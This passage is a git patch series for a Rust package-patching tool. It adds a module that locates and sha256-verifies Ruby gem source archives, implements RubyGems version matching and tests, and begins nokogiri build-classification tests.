extension_dir: "extensions/p/3.4.0/a-1".into(), ext_artifacts: [("a/a.so".to_string(), hash.clone())].into(), lib_artifacts: [("lib/a/a.so".to_string(), hash.clone())].into(), + grafted: false, }; assert!(marker_holds(&marker, ©, &scope, &record)); diff --git a/crates/socket-patch-core/src/patch/gem_refresh.rs b/crates/socket-patch-core/src/patch/gem_refresh.rs index acc71ad01..261f0bd91 100644 --- a/crates/socket-patch-core/src/patch/gem_refresh.rs +++ b/crates/socket-patch-core/src/patch/gem_refresh.rs @@ -695,6 +695,7 @@ mod tests { RubyEnv { cwd: cwd.to_path_buf(), rebuild: true, + offline: true, } } @@ -1065,6 +1066,7 @@ mod tests { &RubyEnv { cwd: tmp.path().to_path_buf(), rebuild: false, + offline: true, }, ) .await; diff --git a/crates/socket-patch-core/src/patch/gem_source.rs b/crates/socket-patch-core/src/patch/gem_source.rs new file mode 100644 index 000000000..8ff7d07a1 --- /dev/null +++ b/crates/socket-patch-core/src/patch/gem_source.rs @@ -0,0 +1,772 @@ +//! The `.gem` archives a native extension is rebuilt from +//! ([`crate::patch::gem_ext`]): the source gem of the installed copy, and +//! the gems its build needs that are not installed. +//! +//! An installed gem does not hold everything its extension was built from. +//! nokogiri's `extconf.rb` deletes the vendored libxml2 and libxslt +//! tarballs (`ports/`) once the build is done, and a precompiled platform +//! gem ships neither the build scripts' inputs (`patches/`, `ports/`) nor a +//! build of its own. The complete inputs are in the ruby-platform source +//! archive, `-.gem`. This module finds it: +//! +//! 1. In the gem home's `cache/`, where RubyGems and Bundler keep the +//! archive of every gem they install from source. It is used as it is, +//! unless the project's lock pins a `CHECKSUMS` sha256 for the gem that +//! it does not have. No network is involved. +//! 2. Else downloaded from the gem's source: the `remote:` of the lock's +//! `GEM` section that lists the gem, else rubygems.org +//! (`SOCKET_RUBYGEMS_URL`). The bytes must have the sha256 the lock's +//! `CHECKSUMS` pins for the ruby-platform gem, else the one that source's +//! compact index (`info/`) records. An archive nothing pins is not +//! used. `--offline` skips this step. +//! +//! A gem the build needs and the install lacks (a precompiled nokogiri has +//! no `mini_portile2`) is resolved from the same sources' compact index: +//! the newest ruby-platform release that meets the requirement and runs on +//! the building Ruby, verified against the index's checksum. + +use std::cmp::Ordering; +use std::path::Path; + +use crate::formats::gem::{self, BUNDLER_LOCKS}; +use crate::patch::redirect::upstream::{compact_index_checksum, rubygems_base}; +use crate::utils::digest::{sha256_hex, sha256_hex_of}; +use crate::vendor::registry_fetch::{build_registry_client, download, RegistryClient}; + +/// The default gem source, as a lock's `remote:` spells it. +const RUBYGEMS_REMOTE: &str = "https://rubygems.org"; + +/// One gem release: `-[-]`. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct GemId { + pub name: String, + pub version: String, + /// `None` for the `ruby` platform (the source gem). + pub platform: Option, +} + +impl GemId { + /// The release as a lock or a compact index names it: `` or + /// `-`. + pub(crate) fn token(&self) -> String { + match &self.platform { + Some(platform) => format!("{}-{platform}", self.version), + None => self.version.clone(), + } + } + + /// `-[-]`, as its gem dir and archive are named. + pub(crate) fn full_name(&self) -> String { + format!("{}-{}", self.name, self.token()) + } + + /// Every part is a plain gem token: nothing that would change the + /// meaning of a path or a URL it is put in. + fn is_plain(&self) -> bool { + gem::is_plain_gem_token(&self.name) + && gem::is_plain_gem_token(&self.version) + && self.platform.as_deref().is_none_or(gem::is_plain_gem_token) + } +} + +/// What the project's lock says about a gem release. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub(crate) struct Locked { + /// The remotes of the `GEM` sections that list the gem at this version + /// (any platform of it), as download bases, in lock order. + pub bases: Vec, + /// The sha256 `CHECKSUMS` pins for exactly this release. + pub sha256: Option, +} + +/// Read [`Locked`] for `id` out of a Bundler lock's text. +pub(crate) fn locked(lock: &str, id: &GemId) -> Locked { + let token = id.token(); + let text = crate::utils::line_endings::to_lf(lock); + let parsed = gem::parse(&text); + let mut bases: Vec = Vec::new(); + for section in parsed.gem_sections() { + let lists = section + .specs + .iter() + .filter_map(|line| line.parsed) + .any(|spec| spec.name == id.name && spec.version == id.version); + if !lists { + continue; + } + for base in section.remote_bases() { + if !bases.iter().any(|b| b == base) { + bases.push(base.to_string()); + } + } + } + let sha256 = parsed.checksum(&id.name, &token).map(str::to_string); + Locked { bases, sha256 } +} + +/// The base a lock remote is downloaded from: rubygems.org goes through its +/// `SOCKET_RUBYGEMS_URL` stand-in (a mirror, a test server). +fn download_base(remote: &str) -> String { + if gem::same_remote(remote, RUBYGEMS_REMOTE) { + rubygems_base() + } else { + remote.trim_end_matches('/').to_string() + } +} + +/// Where gem archives come from in one run: the project's lock, read once, +/// and the registry client. +pub(crate) struct GemSource { + lock: Option, + offline: bool, + http: RegistryClient, +} + +impl GemSource { + /// The source for the project at `project` (its `Gemfile.lock` or + /// `gems.locked`, when it has one). + pub(crate) async fn of(project: &Path, offline: bool) -> GemSource { + let mut lock = None; + for file in BUNDLER_LOCKS { + // Guarded: a FIFO squatting the lock path must not block. + if let Ok(text) = crate::utils::fs::read_regular_to_string(&project.join(file)).await { + lock = Some(text); + break; + } + } + GemSource { + lock, + offline, + http: build_registry_client(), + } + } + + pub(crate) fn offline(&self) -> bool { + self.offline + } + + fn locked(&self, id: &GemId) -> Locked { + self.lock + .as_deref() + .map(|lock| locked(lock, id)) + .unwrap_or_default() + } + + /// The bases `id` may be downloaded from, best first: the lock's + /// remotes for it, else the default registry. + pub(crate) fn bases(&self, id: &GemId) -> Vec { + let mut bases: Vec = Vec::new(); + for remote in self.locked(id).bases { + let base = download_base(&remote); + if !bases.contains(&base) { + bases.push(base); + } + } + if bases.is_empty() { + bases.push(rubygems_base()); + } + bases + } + + /// The archive of `id` in the gem home `home`'s `cache/`, when it is + /// there and is not one the lock's `CHECKSUMS` contradicts. + pub(crate) async fn cached(&self, home: &Path, id: &GemId) -> Option> { + if !id.is_plain() { + return None; + } + let path = cache_path(home, id); + let meta = tokio::fs::symlink_metadata(&path).await.ok()?; + if !meta.is_file() || meta.len() > crate::vendor::registry_fetch::MAX_DOWNLOAD_BYTES { + return None; + } + let bytes = crate::utils::fs::read_regular_to_bytes(&path).await.ok()?; + match self.locked(id).sha256 { + Some(pinned) if pinned != sha256_hex_of(&bytes) => None, + _ => Some(bytes), + } + } + + /// Whether [`Self::archive`] can possibly produce `id` for `home`: its + /// cached archive is there, or the run may download. Read-only, for a + /// dry run's refusal. + pub(crate) async fn may_have(&self, home: &Path, id: &GemId) -> bool { + !self.offline || self.cached(home, id).await.is_some() + } + + /// The archive of `id`, sha256-verified: the home's cached copy, else a + /// download from its source. `Err` is why there is none. + pub(crate) async fn archive(&self, home: &Path, id: &GemId) -> Result, String> { + let file = format!("{}.gem", id.full_name()); + if !id.is_plain() { + return Err(format!("{file} is not a plain gem archive name")); + } + if let Some(bytes) = self.cached(home, id).await { + return Ok(bytes); + } + let cache = cache_path(home, id); + if self.offline { + return Err(format!( + "{} is not there and this run is offline", + cache.display() + )); + } + let pinned = self.locked(id).sha256; + let mut reasons: Vec = Vec::new(); + for base in self.bases(id) { + let want = match &pinned { + Some(sha) => sha.clone(), + None => match self.index_checksum(&base, id).await { + Ok(sha) => sha, + Err(why) => { + reasons.push(why); + continue; + } + }, + }; + let url = format!("{base}/gems/{file}"); + match download(&self.http, &url).await { + Ok(bytes) if sha256_hex_of(&bytes) == want => return Ok(bytes), + Ok(_) => reasons.push(format!( + "{} does not have the sha256 {} pins for it", + crate::utils::redact::redact_urls_in(&url), + if pinned.is_some() { + "the lock's CHECKSUMS" + } else { + "its source's index" + } + )), + Err(why) => reasons.push(why), + } + } + Err(format!( + "{} is not there and it could not be downloaded ({})", + cache.display(), + reasons.join("; ") + )) + } + + /// The sha256 the compact index at `base` records for `id`. + async fn index_checksum(&self, base: &str, id: &GemId) -> Result { + let url = format!("{base}/info/{}", id.name); + let info = self.index(&url).await?; + compact_index_checksum(&info, &id.token()).ok_or_else(|| { + format!( + "{} lists no {} with a checksum", + crate::utils::redact::redact_urls_in(&url), + id.token() + ) + }) + } + + async fn index(&self, url: &str) -> Result { + let bytes = download(&self.http, url).await?; + String::from_utf8(bytes) + .map_err(|_| format!("{} is not UTF-8", crate::utils::redact::redact_urls_in(url))) + } + + /// A ruby-platform release of the gem `name` that meets `requirement` + /// (`~> 2.8.2`, `>= 1.0,< 3`) and runs on `ruby`, from the first of + /// `bases` that has one: its id and its verified archive. + pub(crate) async fn dependency( + &self, + bases: &[String], + name: &str, + requirement: &str, + ruby: &RubyVersions, + ) -> Result<(GemId, Vec), String> { + if !gem::is_plain_gem_token(name) { + return Err(format!("{name:?} is not a plain gem name")); + } + if self.offline { + return Err("this run is offline".to_string()); + } + let mut reasons: Vec = Vec::new(); + for base in bases { + let url = format!("{base}/info/{name}"); + let info = match self.index(&url).await { + Ok(info) => info, + Err(why) => { + reasons.push(why); + continue; + } + }; + let Some((version, sha)) = pick_release(&info, requirement, ruby) else { + reasons.push(format!( + "{} lists no release that meets {requirement}", + crate::utils::redact::redact_urls_in(&url) + )); + continue; + }; + let id = GemId { + name: name.to_string(), + version, + platform: None, + }; + if !id.is_plain() { + continue; + } + let archive = format!("{base}/gems/{}.gem", id.full_name()); + match download(&self.http, &archive).await { + Ok(bytes) if sha256_hex_of(&bytes) == sha => return Ok((id, bytes)), + Ok(_) => reasons.push(format!( + "{} does not have the sha256 its source's index pins for it", + crate::utils::redact::redact_urls_in(&archive) + )), + Err(why) => reasons.push(why), + } + } + Err(reasons.join("; ")) + } +} + +/// `/cache/.gem`. +pub(crate) fn cache_path(home: &Path, id: &GemId) -> std::path::PathBuf { + home.join("cache").join(format!("{}.gem", id.full_name())) +} + +/// The versions of the Ruby a gem is installed for, as its compact index +/// constrains them (`ruby:>= 3.1`, `rubygems:>= 3.3.22`). `None`: unknown, +/// not checked. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub(crate) struct RubyVersions { + pub ruby: Option, + pub rubygems: Option, +} + +/// The newest ruby-platform release in a compact index `info/` file +/// that meets `requirement` and whose `ruby:` / `rubygems:` constraints the +/// building Ruby meets: `(version, sha256)`. A prerelease is picked only +/// for a requirement that names one, as RubyGems resolves. Lines are +/// `[-] |checksum:[,ruby:][,rubygems:]`. +pub(crate) fn pick_release( + info: &str, + requirement: &str, + ruby: &RubyVersions, +) -> Option<(String, String)> { + let wanted = Requirement::parse(requirement)?; + let mut best: Option<(Version, String, String)> = None; + for line in info.lines() { + let Some((head, reqs)) = line.split_once('|') else { + continue; + }; + let token = head.split(' ').next().unwrap_or(""); + // A `-` starts a platform: only the source gem is installed. + if token.is_empty() || token.contains('-') { + continue; + } + let Some(version) = Version::parse(token) else { + continue; + }; + if version.is_prerelease() && !wanted.names_prerelease() { + continue; + } + if !wanted.allows(&version) { + continue; + } + let (mut sha, mut runs) = (None, true); + for req in reqs.split(',') { + let req = req.trim(); + if let Some(hex) = req.strip_prefix("checksum:") { + sha = sha256_hex(hex); + } else if let Some(constraint) = req.strip_prefix("ruby:") { + runs &= meets(ruby.ruby.as_deref(), constraint); + } else if let Some(constraint) = req.strip_prefix("rubygems:") { + runs &= meets(ruby.rubygems.as_deref(), constraint); + } + } + let Some(sha) = sha.filter(|_| runs) else { + continue; + }; + if best + .as_ref() + .is_none_or(|(have, _, _)| version.cmp(have) == Ordering::Greater) + { + best = Some((version, token.to_string(), sha)); + } + } + best.map(|(_, version, sha)| (version, sha)) +} + +/// Whether `version` meets a compact index constraint (`>= 2.3.0`, or +/// several joined by `&`). An unknown version, or a constraint that does +/// not parse, is not held against the release. +fn meets(version: Option<&str>, constraint: &str) -> bool { + let Some(version) = version.and_then(Version::parse) else { + return true; + }; + constraint + .split('&') + .filter_map(Requirement::parse) + .all(|req| req.allows(&version)) +} + +/// One segment of a gem version. +#[derive(Debug, Clone, PartialEq, Eq)] +enum Segment { + Number(u64), + Text(String), +} + +/// A gem version, ordered as `Gem::Version` orders it. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct Version { + segments: Vec, +} + +impl Version { + /// `Gem::Version.new`: runs of digits and of letters, separated by + /// dots (or by nothing where a digit meets a letter). `None` for + /// anything that is not a gem version. + pub(crate) fn parse(text: &str) -> Option { + let text = text.trim(); + let valid = !text.is_empty() + && text.starts_with(|c: char| c.is_ascii_digit()) + && text + .chars() + .all(|c| c.is_ascii_alphanumeric() || c == '.' || c == '-'); + if !valid { + return None; + } + // RubyGems reads `1.0-rc1` as `1.0.pre.rc1`. + let text = text.replace('-', ".pre."); + let mut segments = Vec::new(); + let mut chars = text.chars().peekable(); + while let Some(&c) = chars.peek() { + if c == '.' { + chars.next(); + continue; + } + let digits = c.is_ascii_digit(); + let mut run = String::new(); + while let Some(&d) = chars.peek() { + if d == '.' || d.is_ascii_digit() != digits { + break; + } + run.push(d); + chars.next(); + } + segments.push(if digits { + Segment::Number(run.parse().ok()?) + } else { + Segment::Text(run) + }); + } + Some(Version { segments }) + } + + pub(crate) fn is_prerelease(&self) -> bool { + self.segments.iter().any(|s| matches!(s, Segment::Text(_))) + } + + /// The segments before the first letter run (`1.2.b1` → `1.2`). + fn release(&self) -> Version { + let segments = self + .segments + .iter() + .take_while(|s| matches!(s, Segment::Number(_))) + .cloned() + .collect(); + Version { segments } + } + + /// `Gem::Version#bump`: the release with its last segment dropped (when + /// it has more than one) and the new last one incremented, the upper + /// bound of `~>`. + fn bump(&self) -> Version { + let mut segments = self.release().segments; + if segments.len() > 1 { + segments.pop(); + } + match segments.last_mut() { + Some(Segment::Number(n)) => *n += 1, + _ => segments.push(Segment::Number(1)), + } + Version { segments } + } + + /// `Gem::Version#canonical_segments`: trailing zeros dropped from the + /// numeric part and from the part that starts at the first letter run. + fn canonical(&self) -> Vec { + let split = self + .segments + .iter() + .position(|s| matches!(s, Segment::Text(_))) + .unwrap_or(self.segments.len()); + let trim = |part: &[Segment]| { + let mut part = part.to_vec(); + while matches!(part.last(), Some(Segment::Number(0))) { + part.pop(); + } + part + }; + let mut out = trim(&self.segments[..split]); + out.extend(trim(&self.segments[split..])); + out + } + + /// `Gem::Version#<=>`. + pub(crate) fn cmp(&self, other: &Version) -> Ordering { + let (lhs, rhs) = (self.canonical(), other.canonical()); + let zero = Segment::Number(0); + for i in 0..lhs.len().max(rhs.len()) { + let (l, r) = (lhs.get(i).unwrap_or(&zero), rhs.get(i).unwrap_or(&zero)); + let ordering = match (l, r) { + (Segment::Number(l), Segment::Number(r)) => l.cmp(r), + (Segment::Text(l), Segment::Text(r)) => l.cmp(r), + (Segment::Text(_), Segment::Number(_)) => Ordering::Less, + (Segment::Number(_), Segment::Text(_)) => Ordering::Greater, + }; + if ordering != Ordering::Equal { + return ordering; + } + } + Ordering::Equal + } +} + +/// A `Gem::Requirement`: every clause must hold. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct Requirement { + clauses: Vec<(String, Version)>, +} + +impl Requirement { + /// Parse `~> 2.8.2`, `>= 1.0, < 3` or a bare `1.2` (`=`). `None` for an + /// operator or version RubyGems would not accept. + pub(crate) fn parse(text: &str) -> Option { + let mut clauses = Vec::new(); + for clause in text.split(',') { + let clause = clause.trim(); + if clause.is_empty() { + continue; + } + let at = clause + .find(|c: char| c.is_ascii_digit()) + .unwrap_or(clause.len()); + let (op, version) = (clause[..at].trim(), clause[at..].trim()); + let op = if op.is_empty() { "=" } else { op }; + if !["=", "!=", ">", "<", ">=", "<=", "~>"].contains(&op) { + return None; + } + clauses.push((op.to_string(), Version::parse(version)?)); + } + (!clauses.is_empty()).then_some(Requirement { clauses }) + } + + /// `Gem::Requirement#prerelease?`. + fn names_prerelease(&self) -> bool { + self.clauses.iter().any(|(_, v)| v.is_prerelease()) + } + + /// `Gem::Requirement#satisfied_by?`. + pub(crate) fn allows(&self, version: &Version) -> bool { + self.clauses.iter().all(|(op, wanted)| { + let ordering = version.cmp(wanted); + match op.as_str() { + "=" => ordering == Ordering::Equal, + "!=" => ordering != Ordering::Equal, + ">" => ordering == Ordering::Greater, + "<" => ordering == Ordering::Less, + ">=" => ordering != Ordering::Less, + "<=" => ordering != Ordering::Greater, + _ => { + ordering != Ordering::Less + && version.release().cmp(&wanted.bump()) == Ordering::Less + } + } + }) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn v(text: &str) -> Version { + Version::parse(text).unwrap_or_else(|| panic!("{text} is a version")) + } + + fn id(name: &str, version: &str, platform: Option<&str>) -> GemId { + GemId { + name: name.to_string(), + version: version.to_string(), + platform: platform.map(str::to_string), + } + } + + #[test] + fn versions_order_as_rubygems_orders_them() { + for (lower, higher) in [ + ("1.0", "1.0.1"), + ("1.9", "1.10"), + ("2.8.2", "2.8.9"), + ("1.0.0.pre", "1.0.0"), + ("1.0.a", "1.0.b"), + ("1.0.rc1", "1.0.rc2"), + ("1.0.0.rc1", "1.0.1"), + ("3.4.0.dev", "3.4.0"), + ] { + assert_eq!(v(lower).cmp(&v(higher)), Ordering::Less, "{lower} {higher}"); + assert_eq!( + v(higher).cmp(&v(lower)), + Ordering::Greater, + "{higher} {lower}" + ); + } + for (a, b) in [("1.0", "1"), ("1.0.0", "1.0"), ("1.0.b1", "1.b1")] { + assert_eq!(v(a).cmp(&v(b)), Ordering::Equal, "{a} {b}"); + } + for bad in ["", "abc", "1.0 beta", "v1.0", "1..x!"] { + assert!(Version::parse(bad).is_none(), "{bad:?}"); + } + } + + #[test] + fn requirements_match_as_rubygems_matches_them() { + let allows = + |req: &str, version: &str| Requirement::parse(req).unwrap().allows(&v(version)); + // The pessimistic operator: `~> 2.8.2` is `>= 2.8.2, < 2.9`. + assert!(allows("~> 2.8.2", "2.8.2")); + assert!(allows("~> 2.8.2", "2.8.9")); + assert!(!allows("~> 2.8.2", "2.9.0")); + assert!(!allows("~> 2.8.2", "2.8.1")); + assert!(allows("~> 1.4", "1.8.1")); + assert!(!allows("~> 1.4", "2.0")); + assert!(allows("~> 2", "2.9")); + assert!(!allows("~> 2", "3.0")); + assert!(allows(">= 0", "0.0.1")); + assert!(allows(">= 1.0,< 3", "2.5")); + assert!(allows(">= 1.0, < 3", "2.5")); + assert!(!allows(">= 1.0,< 3", "3.0")); + assert!(allows("= 1.2", "1.2.0")); + assert!(allows("1.2", "1.2")); + assert!(allows("!= 1.2", "1.3")); + assert!(!allows("> 1.2", "1.2")); + assert!(allows("<= 1.2", "1.2")); + // A prerelease of the next minor is outside `~>`. + assert!(!allows("~> 2.8.2", "2.9.0.rc1")); + for bad in ["", "=> 1", "~> x", "about 2"] { + assert!(Requirement::parse(bad).is_none(), "{bad:?}"); + } + } + + const SHA_A: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + const SHA_B: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; + const SHA_C: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + + /// The newest ruby-platform release that meets the requirement and runs + /// on the building Ruby is picked: no platform gem, no prerelease the + /// requirement did not ask for, no release needing a newer Ruby. + #[test] + fn pick_release_takes_the_newest_release_that_fits() { + let info = format!( + "---\n2.8.2 |checksum:{SHA_A},ruby:>= 2.3.0\n\ + 2.8.9 |checksum:{SHA_B},ruby:>= 2.3.0\n\ + 2.8.10 |checksum:{SHA_C},ruby:>= 9.9\n\ + 2.8.11.rc1 |checksum:{SHA_C}\n\ + 2.8.12-java |checksum:{SHA_C}\n\ + 2.9.0 |checksum:{SHA_C}\n\ + 2.8.8 |ruby:>= 2.3.0\n" + ); + let ruby = RubyVersions { + ruby: Some("3.4.10".to_string()), + rubygems: Some("3.6.9".to_string()), + }; + assert_eq!( + pick_release(&info, "~> 2.8.2", &ruby), + Some(("2.8.9".to_string(), SHA_B.to_string())) + ); + // An unknown Ruby holds no constraint against a release. + assert_eq!( + pick_release(&info, "~> 2.8.2", &RubyVersions::default()), + Some(("2.8.10".to_string(), SHA_C.to_string())) + ); + assert_eq!( + pick_release(&info, "~> 2.8.11.rc1", &ruby), + Some(("2.8.11.rc1".to_string(), SHA_C.to_string())) + ); + assert_eq!(pick_release(&info, "~> 3.0", &ruby), None); + // Several constraints on one line are joined by `&`. + let ranged = format!("1.0.0 |checksum:{SHA_A},ruby:>= 2.0&< 3.0\n"); + assert_eq!(pick_release(&ranged, ">= 0", &ruby), None); + } + + const LOCK: &str = "GEM\n remote: https://rubygems.org/\n specs:\n \ + nokogiri (1.18.3-arm64-darwin)\n racc (~> 1.4)\n \ + nokogiri (1.18.3-x86_64-linux-gnu)\n racc (~> 1.4)\n racc (1.8.1)\n\n\ + GEM\n remote: https://gems.example.test/private/\n specs:\n inhouse (2.0.0)\n\n\ + PLATFORMS\n arm64-darwin\n\nDEPENDENCIES\n nokogiri (= 1.18.3)\n\n\ + CHECKSUMS\n \ + nokogiri (1.18.3-arm64-darwin) sha256=ce088965cd424b8e752d82087dcf017069d55791f157098ed1f671d966857610\n \ + racc (1.8.1) sha256=4a7f6929691dbec8b5209a0b373bc2614882b55fc5d2e447a21aaa691303d62f\n\n\ + BUNDLED WITH\n 4.0.15\n"; + + /// A gem locked only as platform gems still names the source of its + /// ruby-platform archive; a `CHECKSUMS` line pins only the release it + /// names. + #[test] + fn locked_reads_the_gems_remote_and_its_own_checksum() { + let source = locked(LOCK, &id("nokogiri", "1.18.3", None)); + assert_eq!(source.bases, ["https://rubygems.org"]); + assert_eq!(source.sha256, None, "only the platform gem is pinned"); + let platform = locked(LOCK, &id("nokogiri", "1.18.3", Some("arm64-darwin"))); + assert_eq!( + platform.sha256.as_deref(), + Some("ce088965cd424b8e752d82087dcf017069d55791f157098ed1f671d966857610") + ); + let racc = locked(&LOCK.replace('\n', "\r\n"), &id("racc", "1.8.1", None)); + assert_eq!(racc.bases, ["https://rubygems.org"]); + assert!(racc.sha256.is_some()); + assert_eq!( + locked(LOCK, &id("inhouse", "2.0.0", None)).bases, + ["https://gems.example.test/private"] + ); + // Another version of the gem, or a gem the lock does not list. + assert_eq!( + locked(LOCK, &id("nokogiri", "1.18.4", None)), + Locked::default() + ); + assert_eq!(locked(LOCK, &id("other", "1.0", None)), Locked::default()); + } + + #[test] + fn gem_ids_name_their_archive() { + assert_eq!( + id("nokogiri", "1.18.3", None).full_name(), + "nokogiri-1.18.3" + ); + assert_eq!( + id("nokogiri", "1.18.3", Some("java")).full_name(), + "nokogiri-1.18.3-java" + ); + assert!(!id("../x", "1.0", None).is_plain()); + assert!(!id("x", "1.0/..", None).is_plain()); + } + + /// The home's cached archive is used as it is, with no request made, + /// unless the lock pins another sha256 for the gem; an offline run has + /// nothing else to offer. + #[tokio::test] + async fn the_cached_archive_needs_no_network() { + let tmp = tempfile::tempdir().unwrap(); + let (home, project) = (tmp.path().join("home"), tmp.path().join("proj")); + std::fs::create_dir_all(home.join("cache")).unwrap(); + std::fs::create_dir_all(&project).unwrap(); + let racc = id("racc", "1.8.1", None); + std::fs::write(cache_path(&home, &racc), b"archive").unwrap(); + + let source = GemSource::of(&project, true).await; + assert_eq!(source.archive(&home, &racc).await.unwrap(), b"archive"); + assert!(source.may_have(&home, &racc).await); + let missing = id("nokogiri", "1.18.3", None); + assert!(!source.may_have(&home, &missing).await); + let why = source.archive(&home, &missing).await.unwrap_err(); + assert!(why.contains("this run is offline"), "{why}"); + + // The lock pins racc 1.8.1 to another sha256: not that archive. + std::fs::write(project.join("Gemfile.lock"), LOCK).unwrap(); + let pinned = GemSource::of(&project, true).await; + assert!(pinned.cached(&home, &racc).await.is_none()); + assert_eq!(pinned.bases(&racc), [rubygems_base()]); + } +} diff --git a/crates/socket-patch-core/src/patch/mod.rs b/crates/socket-patch-core/src/patch/mod.rs index 5665e8dcb..548816f0a 100644 --- a/crates/socket-patch-core/src/patch/mod.rs +++ b/crates/socket-patch-core/src/patch/mod.rs @@ -5,6 +5,7 @@ pub mod copy_tree; pub(crate) mod file_hash; pub mod gem_ext; pub mod gem_refresh; +pub(crate) mod gem_source; pub mod jvm_jar; pub(crate) mod npm_bin; pub mod package; diff --git a/crates/socket-patch-core/src/patch/redirect/upstream/client.rs b/crates/socket-patch-core/src/patch/redirect/upstream/client.rs index a31b823f7..58e40b69a 100644 --- a/crates/socket-patch-core/src/patch/redirect/upstream/client.rs +++ b/crates/socket-patch-core/src/patch/redirect/upstream/client.rs @@ -100,7 +100,7 @@ fn crates_index_path(name: &str) -> Option { /// The RubyGems compact index root; override with `SOCKET_RUBYGEMS_URL`. pub(crate) const DEFAULT_RUBYGEMS: &str = "https://rubygems.org"; -pub(super) fn rubygems_base() -> String { +pub(crate) fn rubygems_base() -> String { std::env::var("SOCKET_RUBYGEMS_URL") .ok() .map(|v| v.trim().trim_end_matches('/').to_string()) diff --git a/crates/socket-patch-core/src/patch/redirect/upstream/mod.rs b/crates/socket-patch-core/src/patch/redirect/upstream/mod.rs index 2567e3220..18ee1d31b 100644 --- a/crates/socket-patch-core/src/patch/redirect/upstream/mod.rs +++ b/crates/socket-patch-core/src/patch/redirect/upstream/mod.rs @@ -45,8 +45,8 @@ mod sbt; mod uv; mod vlt; -use client::rubygems_base; pub(crate) use client::UpstreamClient; +pub(crate) use client::{compact_index_checksum, rubygems_base}; pub(crate) use uv::{ declared_lock_specifier, lock_cutoff, pylock_no_binary, respell_lock_specifier, root_uv_settings, LockRequirementArray, From deaac7b47ee385a6a588666d5d05f8e254514106 Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 12:58:20 -0500 Subject: [PATCH 02/13] Test native gem classification, grafts and staged installs; keep modes in the build backup Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-core/src/patch/gem_ext.rs | 729 +++++++++++++++++- 1 file changed, 722 insertions(+), 7 deletions(-) diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index b3acd983a..483133df5 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -1866,12 +1866,18 @@ fn back_up_original(copy: &GemCopy, probe: &Probe) -> std::io::Result { continue; }; // Only a regular file: a FIFO there would block the read. - if let Ok(bytes) = read_regular_to_bytes_sync(©.gem_dir.join(&lib)) { + let src = copy.gem_dir.join(&lib); + if let Ok(bytes) = read_regular_to_bytes_sync(&src) { let dst = stage.join("lib").join(&lib); if let Some(parent) = dst.parent() { std::fs::create_dir_all(parent)?; } std::fs::write(&dst, bytes)?; + // The copy's mode too (RubyGems installs a shared object + // executable), so the restore gives back the file as it was. + if let Ok(meta) = std::fs::metadata(&src) { + let _ = std::fs::set_permissions(&dst, meta.permissions()); + } lib_files.push(lib); } } @@ -3827,14 +3833,10 @@ fn restore_backup(copy: &GemCopy, marker: Option<&BuildMarker>) -> std::io::Resu let saved = backup.join("lib").join(lib); let bytes = read_regular_to_bytes_sync(&saved)?; let perms = std::fs::symlink_metadata(&saved)?.permissions(); + // With the mode the backup kept. replace_file(©.gem_dir.join(lib), |stage| { std::fs::write(stage, &bytes)?; - // The mode the backup kept (a prebuilt binary's); a backup - // of `lib/` copies was written with the default one. - if info.grafted { - std::fs::set_permissions(stage, perms)?; - } - Ok(()) + std::fs::set_permissions(stage, perms) })?; } Ok(()) @@ -4610,4 +4612,717 @@ mod tests { escaping.lib_artifacts = [("../x".to_string(), hash)].into(); assert!(!marker_holds(&escaping, ©, &scope, &record)); } + + // ── native gems: what is a build input ────────────────────────────── + + /// The gemspec RubyGems writes for an installed gem, as `to_ruby` + /// shapes it. `platform` is `None` for the `ruby` platform. + fn to_ruby(name: &str, platform: Option<&str>, extensions: &[&str]) -> String { + let mut text = format!( + "# -*- encoding: utf-8 -*-\n# stub: {name} 1.18.3 {} lib\n", + platform.unwrap_or("ruby") + ); + text.push_str("\nGem::Specification.new do |s|\n"); + text.push_str(&format!(" s.name = \"{name}\".freeze\n")); + text.push_str(" s.version = \"1.18.3\".freeze\n"); + if let Some(platform) = platform { + text.push_str(&format!(" s.platform = \"{platform}\".freeze\n")); + } + text.push_str( + "\n s.required_rubygems_version = Gem::Requirement.new(\">= 0\".freeze) if \ + s.respond_to? :required_rubygems_version=\n s.require_paths = [\"lib\".freeze]\n", + ); + if !extensions.is_empty() { + let list: Vec = extensions + .iter() + .map(|e| format!("\"{e}\".freeze")) + .collect(); + text.push_str(&format!(" s.extensions = [{}]\n", list.join(", "))); + } + text.push_str(" s.rubygems_version = \"3.3.26\".freeze\n"); + text.push_str(" s.installed_by_version = \"4.0.15\".freeze\nend\n"); + text + } + + /// Files a nokogiri record may change that take part in its build: + /// the C sources, and what `extconf.rb` builds the vendored libxml2 and + /// libgumbo from. + const NOKOGIRI_BUILT: &[&str] = &[ + "Cargo.lock", + "Cargo.toml", + "dependencies.yml", + "ext/java/nokogiri/XmlNode.java", + "ext/nokogiri/depend", + "ext/nokogiri/extconf.rb", + "ext/nokogiri/xml_node.c", + "gumbo-parser/src/parser.c", + "gumbo-parser/src/tag_lookup.gperf", + "patches/libxml2/0100-CVE-2025-0000.patch", + "patches/libxslt/0001-update-config.guess.patch", + "ports/archives/libxml2-2.13.6.tar.xz", + "vendor/libfoo/foo.c", + ]; + + /// Files of the same gem that Ruby loads as they are, or that nothing + /// loads. + const NOKOGIRI_PLAIN: &[&str] = &[ + "CHANGELOG.md", + "Gemfile", + "LICENSE-DEPENDENCIES.md", + "LICENSE.md", + "README.md", + "bin/nokogiri", + "doc/guide.md", + "lib/nokogiri/3.4/nokogiri.bundle", + "lib/nokogiri/version/constant.rb", + "lib/nokogiri/xml/node.rb", + "nokogiri.gemspec", + "spec/node_spec.rb", + "test/xml/test_node.rb", + ]; + + fn 